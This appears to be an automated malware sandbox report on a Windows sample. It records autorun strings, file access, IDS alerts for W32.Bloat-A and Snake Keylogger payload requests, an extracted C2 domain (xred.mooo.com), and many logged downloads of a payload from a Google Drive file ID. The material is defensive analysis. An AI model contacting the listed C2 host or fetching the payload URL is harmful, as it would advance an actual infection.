Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01001C7F lstrcpyA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcmpA,lstrcmpA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

2_2_01001C7F

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.7:49738 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49731 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49750 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49749 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49742 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49761 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49783 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49730 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49805 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49796 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49806 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49840 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49816 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49831 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49782 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49815 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49797 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49832 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49760 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49739 -> 216.58.206.78:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View

IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
